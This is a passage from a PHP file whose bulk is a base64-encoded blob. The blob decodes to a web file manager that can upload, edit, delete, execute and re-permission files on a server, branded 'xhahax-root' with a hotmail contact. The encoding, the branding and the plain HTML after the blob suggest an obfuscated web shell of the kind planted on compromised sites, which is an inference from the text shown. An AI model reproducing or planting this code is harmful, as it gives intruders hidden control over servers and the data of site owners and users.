d2QpIHsNCgkJZWNobyAnDQoJJyAuIHdvcmQoJ3VzZXInKSAuICc6IDxpbnB1dCB0eXBlPSJ0ZXh0
IiBuYW1lPSJ1c2VyIiAvPg0KCScgLiB3b3JkKCdwYXNzd29yZCcpIC4gJzogPGlucHV0IHR5cGU9
InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1
ZT0iJyAuIHdvcmQoJ2FkZCcpIC4gJyIgLz4NCg0KCTxociAvPg0KJzsNCg0KCX0NCg0KCWlmICgk
YXBhY2hlICYmIGJhc2VuYW1lKCRmaWxlKSA9PSAkaHRhY2Nlc3MpIHsNCgkJZWNobyAnDQoJPGlu
cHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFzaWNfYXV0aCIgdmFsdWU9IicgLiB3b3JkKCdhZGRf
YmFzaWNfYXV0aCcpIC4gJyIgLz4NCg0KCTxociAvPg0KJzsNCg0KCX0NCg0KCWVjaG8gJw0KCTxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImVkaXQiIC8+DQoJPGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+
DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyIiB2YWx1ZT0iJyAuIGh0bWwoJGRpcmVj
dG9yeSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9IicgLiB3b3JkKCdyZXNl
dCcpIC4gJyIgaWQ9InJlZF9idXR0b24iIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0i
c2F2ZSIgdmFsdWU9IicgLiB3b3JkKCdzYXZlJykgLiAnIiBpZD0iZ3JlZW5fYnV0dG9uIiBzdHls
ZT0ibWFyZ2luLWxlZnQ6IDUwcHgiIC8+DQoNCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+
PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICci
PlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCWh0
bWxfZm9vdGVyKCk7DQoNCn0NCg0KZnVuY3Rpb24gc3BhY2VyICgpIHsNCglnbG9iYWwgJGNvbHM7
DQoNCgllY2hvICc8dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIHN0eWxlPSJoZWln
aHQ6IDFlbSI+PC90ZD4NCjwvdHI+DQonOw0KDQp9DQoNCmZ1bmN0aW9uIHRleHRmaWVsZHNpemUg
KCRjb250ZW50KSB7DQoNCgkkc2l6ZSA9IHN0cmxlbigkY29udGVudCkgKyA1Ow0KCWlmICgkc2l6
ZSA8IDMwKSAkc2l6ZSA9IDMwOw0KDQoJcmV0dXJuICRzaXplOw0KDQp9DQoNCmZ1bmN0aW9uIHJl
cXVlc3RfZHVtcCAoKSB7DQoNCglmb3JlYWNoICgkX1JFUVVFU1QgYXMgJGtleSA9PiAkdmFsdWUp
IHsNCgkJZWNobyAiXHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCIiIC4gaHRtbCgka2V5
KSAuICciIHZhbHVlPSInIC4gaHRtbCgkdmFsdWUpIC4gIlwiIC8+XG4iOw0KCX0NCg0KfQ0KDQov
KiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tICovDQoNCmZ1bmN0aW9uIGh0bWwgKCRzdHJpbmcpIHsNCglnbG9i
YWwgJGNoYXJzZXQ7DQoJcmV0dXJuIGh0bWxlbnRpdGllcygkc3RyaW5nLCBFTlRfQ09NUEFULCAk
Y2hhcnNldCk7DQp9DQoNCmZ1bmN0aW9uIHdvcmQgKCR3b3JkKSB7DQoJZ2xvYmFsICR3b3Jkcywg
JHdvcmRfY2hhcnNldDsNCglyZXR1cm4gaHRtbGVudGl0aWVzKCR3b3Jkc1skd29yZF0sIEVOVF9D
T01QQVQsICR3b3JkX2NoYXJzZXQpOw0KfQ0KDQpmdW5jdGlvbiBwaHJhc2UgKCRwaHJhc2UsICRh
cmd1bWVudHMpIHsNCglnbG9iYWwgJHdvcmRzOw0KCXN0YXRpYyAkc2VhcmNoOw0KDQoJaWYgKCFp
c19hcnJheSgkc2VhcmNoKSkgZm9yICgkaSA9IDE7ICRpIDw9IDg7ICRpKyspICRzZWFyY2hbXSA9
ICIlJGkiOw0KDQoJZm9yICgkaSA9IDA7ICRpIDwgc2l6ZW9mKCRhcmd1bWVudHMpOyAkaSsrKSB7
DQoJCSRhcmd1bWVudHNbJGldID0gbmwyYnIoaHRtbCgkYXJndW1lbnRzWyRpXSkpOw0KCX0NCg0K
CSRyZXBsYWNlID0gYXJyYXkoJ3snID0+ICc8cHJlPicsICd9JyA9Pic8L3ByZT4nLCAnWycgPT4g
JzxiPicsICddJyA9PiAnPC9iPicpOw0KDQoJcmV0dXJuIHN0cl9yZXBsYWNlKCRzZWFyY2gsICRh
cmd1bWVudHMsIHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJHJlcGxhY2UpLCAkcmVwbGFjZSwgbmwy
YnIoaHRtbCgkd29yZHNbJHBocmFzZV0pKSkpOw0KDQp9DQoNCmZ1bmN0aW9uIGdldHdvcmRzICgk
bGFuZykgew0KCWdsb2JhbCAkd29yZF9jaGFyc2V0LCAkZGF0ZV9mb3JtYXQ7DQoNCglzd2l0Y2gg
KCRsYW5nKSB7DQoJY2FzZSAnZW4nOg0KCWRlZmF1bHQ6DQoNCgkJJGRhdGVfZm9ybWF0ID0gJ24v
ai95IEg6aTpzJzsNCgkJJHdvcmRfY2hhcnNldCA9ICdJU08tODg1OS0xJzsNCg0KCQlyZXR1cm4g
YXJyYXkoDQonZGlyZWN0b3J5JyA9PiAnRGlyZWN0b3J5JywNCidmaWxlJyA9PiAnRmlsZScsDQon
ZmlsZW5hbWUnID0+ICdGaWxlbmFtZScsDQoNCidzaXplJyA9PiAnU2l6ZScsDQoncGVybWlzc2lv
bicgPT4gJ1Blcm1pc3Npb24nLA0KJ293bmVyJyA9PiAnT3duZXInLA0KJ2dyb3VwJyA9PiAnR3Jv
dXAnLA0KJ290aGVyJyA9PiAnT3RoZXJzJywNCidmdW5jdGlvbnMnID0+ICdGdW5jdGlvbnMnLA0K
DQoncmVhZCcgPT4gJ3JlYWQnLA0KJ3dyaXRlJyA9PiAnd3JpdGUnLA0KJ2V4ZWN1dGUnID0+ICdl
eGVjdXRlJywNCg0KJ2NyZWF0ZV9zeW1saW5rJyA9PiAnY3JlYXRlIHN5bWxpbmsnLA0KJ2RlbGV0
ZScgPT4gJ2RlbGV0ZScsDQoncmVuYW1lJyA9PiAncmVuYW1lJywNCidtb3ZlJyA9PiAnbW92ZScs
DQonY29weScgPT4gJ2NvcHknLA0KJ2VkaXQnID0+ICdlZGl0JywNCidkb3dubG9hZCcgPT4gJ2Rv
d25sb2FkJywNCid1cGxvYWQnID0+ICd1cGxvYWQnLA0KJ2NyZWF0ZScgPT4gJ2NyZWF0ZScsDQon
Y2hhbmdlJyA9PiAnY2hhbmdlJywNCidzYXZlJyA9PiAnc2F2ZScsDQonc2V0JyA9PiAnc2V0JywN
CidyZXNldCcgPT4gJ3Jlc2V0JywNCidyZWxhdGl2ZScgPT4gJ1JlbGF0aXZlIHBhdGggdG8gdGFy
Z2V0JywNCg0KJ3llcycgPT4gJ1llcycsDQonbm8nID0+ICdObycsDQonYmFjaycgPT4gJ2JhY2sn
LA0KJ2Rlc3RpbmF0aW9uJyA9PiAnRGVzdGluYXRpb24nLA0KJ3N5bWxpbmsnID0+ICdTeW1saW5r
JywNCidub19vdXRwdXQnID0+ICdubyBvdXRwdXQnLA0KDQondXNlcicgPT4gJ1VzZXInLA0KJ3Bh
c3N3b3JkJyA9PiAnUGFzc3dvcmQnLA0KJ2FkZCcgPT4gJ2FkZCcsDQonYWRkX2Jhc2ljX2F1dGgn
ID0+ICdhZGQgYmFzaWMtYXV0aGVudGlmaWNhdGlvbicsDQoNCid1cGxvYWRlZCcgPT4gJyJbJTFd
IiBoYXMgYmVlbiB1cGxvYWRlZC4nLA0KJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBjb3VsZCBu
b3QgYmUgdXBsb2FkZWQuJywNCidhbHJlYWR5X2V4aXN0cycgPT4gJyJbJTFdIiBhbHJlYWR5IGV4
aXN0cy4nLA0KJ2NyZWF0ZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gY3JlYXRlZC4nLA0KJ25vdF9j
cmVhdGVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBjcmVhdGVkLicsDQoncmVhbGx5X2RlbGV0
ZScgPT4gJ0RlbGV0ZSB0aGVzZSBmaWxlcz8nLA0KJ2RlbGV0ZWQnID0+ICJUaGVzZSBmaWxlcyBo
YXZlIGJlZW4gZGVsZXRlZDpcblslMV0iLA0KJ25vdF9kZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMg
Y291bGQgbm90IGJlIGRlbGV0ZWQ6XG5bJTFdIiwNCidyZW5hbWVfZmlsZScgPT4gJ1JlbmFtZSBm
aWxlOicsDQoncmVuYW1lZCcgPT4gJyJbJTFdIiBoYXMgYmVlbiByZW5hbWVkIHRvICJbJTJdIi4n
LA0KJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gY291bGQgbm90IGJlIHJlbmFtZWQgdG8gIlslMl0i
LicsDQonbW92ZV9maWxlcycgPT4gJ01vdmUgdGhlc2UgZmlsZXM6JywNCidtb3ZlZCcgPT4gIlRo
ZXNlIGZpbGVzIGhhdmUgYmVlbiBtb3ZlZCB0byBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9tb3Zl
ZCcgPT4gIlRoZXNlIGZpbGVzIGNvdWxkIG5vdCBiZSBtb3ZlZCB0byBcIlslMl1cIjpcblslMV0i
LA0KJ2NvcHlfZmlsZXMnID0+ICdDb3B5IHRoZXNlIGZpbGVzOicsDQonY29waWVkJyA9PiAiVGhl
c2UgZmlsZXMgaGF2ZSBiZWVuIGNvcGllZCB0byBcIlslMl1cIjpcblslMV0iLA0KJ25vdF9jb3Bp
ZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgY29waWVkIHRvIFwiWyUyXVwiOlxuWyUx
XSIsDQonbm90X2VkaXRlZCcgPT4gJyJbJTFdIiBjYW4gbm90IGJlIGVkaXRlZC4nLA0KJ2V4ZWN1
dGVkJyA9PiAiXCJbJTFdXCIgaGFzIGJlZW4gZXhlY3V0ZWQgc3VjY2Vzc2Z1bGx5OlxueyUyfSIs
DQonbm90X2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgY291bGQgbm90IGJlIGV4ZWN1dGVkIHN1Y2Nl
c3NmdWxseTpcbnslMn0iLA0KJ3NhdmVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIHNhdmVkLicsDQon
bm90X3NhdmVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBzYXZlZC4nLA0KJ3N5bWxpbmtlZCcg
PT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywNCidu
b3Rfc3ltbGlua2VkJyA9PiAnU3ltbGluayBmcm9tICJbJTJdIiB0byAiWyUxXSIgY291bGQgbm90
IGJlIGNyZWF0ZWQuJywNCidwZXJtaXNzaW9uX2ZvcicgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0i
OicsDQoncGVybWlzc2lvbl9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiB3YXMgc2V0IHRv
IFslMl0uJywNCidwZXJtaXNzaW9uX25vdF9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiBj
b3VsZCBub3QgYmUgc2V0IHRvIFslMl0uJywNCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgY2Fu
IG5vdCBiZSByZWFkLicNCgkJKTsNCg0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBnZXRpbWFnZSAoJGlt
YWdlKSB7DQoJc3dpdGNoICgkaW1hZ2UpIHsNCgljYXNlICdmaWxlJzoNCgkJcmV0dXJuIGJhc2U2
NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy93QUFBUC8vL3lINUJBSG9Bd01BTEFB
QUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNY
dWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsNCgljYXNlICdmb2xkZXInOg0KCQlyZXR1cm4gYmFzZTY0
X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFKbVptZi8vLzh6TXpQLy8veUg1QkFIb0F3TUFMQUFB
QUFBUkFBMEFBQUlxbkkrWndLd2JZZ1RQdEl1ZGxid0xPZ0NCUUpZbUNZcm4rbTNzbVk1dkdjKzBh
N2Roamg3WmJ5Z0FBRHNBJyk7DQoJY2FzZSAnaGlkZGVuX2ZpbGUnOg0KCQlyZXR1cm4gYmFzZTY0
X2RlY29kZSgnUjBsR09EbGhFUUFOQUpFREFNd0FBUC8vLzVtWm1mLy8veUg1QkFIb0F3TUFMQUFB
QUFBUkFBMEFBQUl0bklHSnhnMEI0MnJzaVN2Q0EvUkVtWFFXaG1uaWgzTFVTR2FxZzM1dkZiU1h1
Y2JTYWJ1bmpuTW9ocThDQURzQScpOw0KCWNhc2UgJ2xpbmsnOg0KCQlyZXR1cm4gYmFzZTY0X2Rl
Y29kZSgnUjBsR09EbGhFUUFOQUtJRUFKbVptZi8vL3dBQUFNd0FBUC8vL3dBQUFBQUFBQUFBQUNI
NUJBSG9Bd1FBTEFBQUFBQVJBQTBBQUFNNVNBcmNyRENDUU91TGNJb3R3Z1RZVWxsTk9BMER4WGtt
aFk0c2hNNXpzTVVLVFk4Z05nVXZXNmNuQWFaZ3hNeUlNMnpCTENhSGxKZ0FBRHNBJyk7DQoJY2Fz
ZSAnc21pbGV5JzoNCgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRUNBQUFB
QVAvL0FQLy8vd0FBQUNINUJBSG9Bd0lBTEFBQUFBQVJBQTBBQUFJc2xJK3BBdTJ3REFpejBqV0Qz
aHFtQnpaZjFWQ2xlSlFjaDBya2RucHBCM2RLWnVJeWdyTVJFL29KRHdVQU93QT0nKTsNCgljYXNl
ICdhcnJvdyc6DQoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSUFCQUFBQUFQ
Ly8veUg1QkFFS0FBRUFMQUFBQUFBUkFBMEFBQUlkakE5d3k2Z05RNHB3VW1hdjB5dm4raGhKaUkz
bUNKNm90cklreHhRQU93PT0nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIGh0bWxfaGVhZGVyICgpIHsN
CglnbG9iYWwgJGNoYXJzZXQ7DQoNCgllY2hvIDw8PEVORA0KPCFET0NUWVBFIGh0bWwgUFVCTElD
ICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiINCiAgICAgImh0dHA6Ly93d3cudzMu
b3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6
Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQoNCjxtZXRhIGh0dHAtZXF1aXY9IkNv
bnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PSRjaGFyc2V0IiAvPg0KDQo8
dGl0bGU+eGhhaGF4LXJvb3QgPD4geDdfODgoYXQpaG90bWFpbChkb3QpY29tPC90aXRsZT4NCg0K
PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHkgeyBmb250OiBzbWFsbCBzYW5zLXNlcmlmOyB0
ZXh0LWFsaWduOiBjZW50ZXIgfQ0KaW1nIHsgd2lkdGg6IDE3cHg7IGhlaWdodDogMTNweCB9DQph
LCBhOnZpc2l0ZWQgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwIH0NCmhy
IHsgYm9yZGVyLXN0eWxlOiBub25lOyBoZWlnaHQ6IDFweDsgYmFja2dyb3VuZC1jb2xvcjogc2ls
dmVyOyBjb2xvcjogc2lsdmVyIH0NCiNtYWluIHsgbWFyZ2luLXRvcDogNnB0OyBtYXJnaW4tbGVm
dDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvOyBib3JkZXItc3BhY2luZzogMXB4IH0NCiNtYWlu
IHRoIHsgYmFja2dyb3VuZDogI0MwQzBDMDsgcGFkZGluZzogM3B0IDNwdCAwcHQgM3B0IH0NCi5s
aXN0aW5nIHRoLCAubGlzdGluZyB0ZCB7IHBhZGRpbmc6IDFweCAzcHQgMCAzcHQgfQ0KLmxpc3Rp
bmcgdGggeyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KLmxpc3RpbmcgdGQgeyBib3JkZXI6
IDFweCBzb2xpZCAjZGRkOyBiYWNrZ3JvdW5kOiAjODA4MDgwIH0NCi5saXN0aW5nIC5jaGVja2Jv
eCB7IHRleHQtYWxpZ246IGNlbnRlciB9DQoubGlzdGluZyAuZmlsZW5hbWUgeyB0ZXh0LWFsaWdu
OiBsZWZ0IH0NCi5saXN0aW5nIC5zaXplIHsgdGV4dC1hbGlnbjogcmlnaHQgfQ0KLmxpc3Rpbmcg
LnBlcm1pc3Npb25faGVhZGVyIHsgdGV4dC1hbGlnbjogbGVmdCB9DQoubGlzdGluZyAucGVybWlz
c2lvbiB7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2UgfQ0KLmxpc3RpbmcgLm93bmVyIHsgdGV4dC1h
bGlnbjogbGVmdCB9DQoubGlzdGluZyAuZ3JvdXAgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0
aW5nIC5mdW5jdGlvbnMgeyB0ZXh0LWFsaWduOiBsZWZ0IH0NCi5saXN0aW5nX2Zvb3RlciB0ZCB7
IGJhY2tncm91bmQ6ICNlZWU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9DQojZGlyZWN0b3J5
LCAjdXBsb2FkLCAjY3JlYXRlLCAubGlzdGluZ19mb290ZXIgdGQsICNlcnJvciB0ZCwgI25vdGlj
ZSB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDNwdCB9DQojZGlyZWN0b3J5IHsgYmFj
a2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0NCiN1cGxvYWQgeyBwYWRk
aW5nLXRvcDogMWVtIH0NCiNjcmVhdGUgeyBwYWRkaW5nLWJvdHRvbTogMWVtIH0NCi5zbWFsbCwg
LnNtYWxsIG9wdGlvbiB7IGZvbnQtc2l6ZTogeC1zbWFsbCB9DQp0ZXh0YXJlYSB7IGJvcmRlcjog
bm9uZTsgYmFja2dyb3VuZDogd2hpdGUgfQ0KdGFibGUuZGlhbG9nIHsgbWFyZ2luLWxlZnQ6IGF1
dG87IG1hcmdpbi1yaWdodDogYXV0byB9DQp0ZC5kaWFsb2cgeyBiYWNrZ3JvdW5kOiAjZWVlOyBw
YWRkaW5nOiAxZXg7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlcjsgdGV4dC1hbGlnbjogY2VudGVy
IH0NCiNwZXJtaXNzaW9uIHsgbWFyZ2luLWxlZnQ6IGF1dG87IG1hcmdpbi1yaWdodDogYXV0byB9
DQojcGVybWlzc2lvbiB0ZCB7IHBhZGRpbmctbGVmdDogM3B0OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7
IHRleHQtYWxpZ246IGNlbnRlciB9DQp0ZC5wZXJtaXNzaW9uX2FjdGlvbiB7IHRleHQtYWxpZ246
IHJpZ2h0IH0NCiNzeW1saW5rIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQg
c2lsdmVyIH0NCiNzeW1saW5rIHRkIHsgdGV4dC1hbGlnbjogbGVmdDsgcGFkZGluZzogM3B0IH0N
CiNyZWRfYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzQwMCB9DQojZ3JlZW5fYnV0dG9u
IHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzA0MCB9DQoNCiNlcnJvciB0ZCB7IGJhY2tncm91bmQ6
IG1hcm9vbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQ0KI25vdGlj
ZSB0ZCB7IGJhY2tncm91bmQ6IGdyZWVuOyBjb2xvcjogd2hpdGU7IGJvcmRlcjogMXB4IHNvbGlk
IHNpbHZlciB9DQojbm90aWNlIHByZSwgI2Vycm9yIHByZSB7IGJhY2tncm91bmQ6IHNpbHZlcjsg
Y29sb3I6IGJsYWNrOyBwYWRkaW5nOiAxZXg7IG1hcmdpbi1sZWZ0OiAxZXg7IG1hcmdpbi1yaWdo
dDogMWV4IH0NCmNvZGUgeyBmb250LXNpemU6IDEycHQgfQ0KdGQgeyB3aGl0ZS1zcGFjZTogbm93
cmFwIH0NCjwvc3R5bGU+DQo8Ym9keSBiZ2NvbG9yPSIjOTY5Njk2Ij4NCjxzY3JpcHQgdHlwZT0i
dGV4dC9qYXZhc2NyaXB0Ij4NCjwhLS0NCmZ1bmN0aW9uIGFjdGl2YXRlIChuYW1lKSB7DQoJaWYg
KGRvY3VtZW50ICYmIGRvY3VtZW50LmZvcm1zWzBdICYmIGRvY3VtZW50LmZvcm1zWzBdLmVsZW1l
bnRzWydmb2N1cyddKSB7DQoJCWRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddLnZh
bHVlID0gbmFtZTsNCgl9DQp9DQovLy0tPg0KPC9zY3JpcHQ+DQoNCjwvaGVhZD4NCjxib2R5Pg0K
DQoNCkVORDsNCg0KfQ0KDQpmdW5jdGlvbiBodG1sX2Zvb3RlciAoKSB7DQoNCgllY2hvIDw8PEVO
RA0KPC9ib2R5Pg0KPC9odG1sPg0KRU5EOw0KDQp9DQoNCmZ1bmN0aW9uIG5vdGljZSAoJHBocmFz
ZSkgew0KCWdsb2JhbCAkY29sczsNCg0KCSRhcmdzID0gZnVuY19nZXRfYXJncygpOw0KCWFycmF5
X3NoaWZ0KCRhcmdzKTsNCg0KCXJldHVybiAnPHRyIGlkPSJub3RpY2UiPg0KCTx0ZCBjb2xzcGFu
PSInIC4gJGNvbHMgLiAnIj4nIC4gcGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90
cj4NCic7DQoNCn0NCg0KZnVuY3Rpb24gZXJyb3IgKCRwaHJhc2UpIHsNCglnbG9iYWwgJGNvbHM7
DQoNCgkkYXJncyA9IGZ1bmNfZ2V0X2FyZ3MoKTsNCglhcnJheV9zaGlmdCgkYXJncyk7DQoNCgly
ZXR1cm4gJzx0ciBpZD0iZXJyb3IiPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIj4nIC4g
cGhyYXNlKCRwaHJhc2UsICRhcmdzKSAuICc8L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KPz4NCjxo
dG1sPg0KPGhlYWQ+DQo8U1RZTEU+DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjMDAwMDAwIDEgc29s
aWQ7DQpCT1JERVItVE9QOiAgICAjMDAwMDAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjMDAw
MDAwIDEgc29saWQ7DQpCT1JERVItQk9UVE9NOiAjMDAwMDAwIDEgc29saWQ7DQpjb2xvcjogI2Nj
Y2NjYzsNCn0NCi5ncmV5IHsNCkJPUkRFUjogMTsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7
DQpjb2xvcjogIzAwMDAwMDsNCn0NCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICNGRjAwMDAgMSBz
b2xpZDsNCkJPUkRFUi1UT1A6ICAgICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNG
RjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNGRjAwMDAgMSBzb2xpZDsNCkJBQ0tHUk9V
TkQtQ09MT1I6ICMwMDAwMDA7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZjAwMDA7DQp9
DQoudHh0Ym94IHsNCkJPUkRFUi1SSUdIVDogICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1UT1A6
ICAgICNGRjAwMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNGRjAwMDAgMSBzb2xpZDsNCkJP
UkRFUi1CT1RUT006ICNGRjAwMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7
DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNGRkZGRkY7DQp9DQpCT0RZIHsNCmNvbG9y
OiAjRkYwMDAwOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCjwvU1RZTEU+DQo8L2hl
YWQ+DQo8Ym9keT4=')); 
?><html>
<head>
<STYLE>
td {
BORDER-RIGHT:  #000000 1 solid;
BORDER-TOP:    #000000 1 solid;
BORDER-LEFT:   #000000 1 solid;
BORDER-BOTTOM: #000000 1 solid;
color: #cccccc;
}
.grey {
BORDER: 1;
BACKGROUND-COLOR: #000000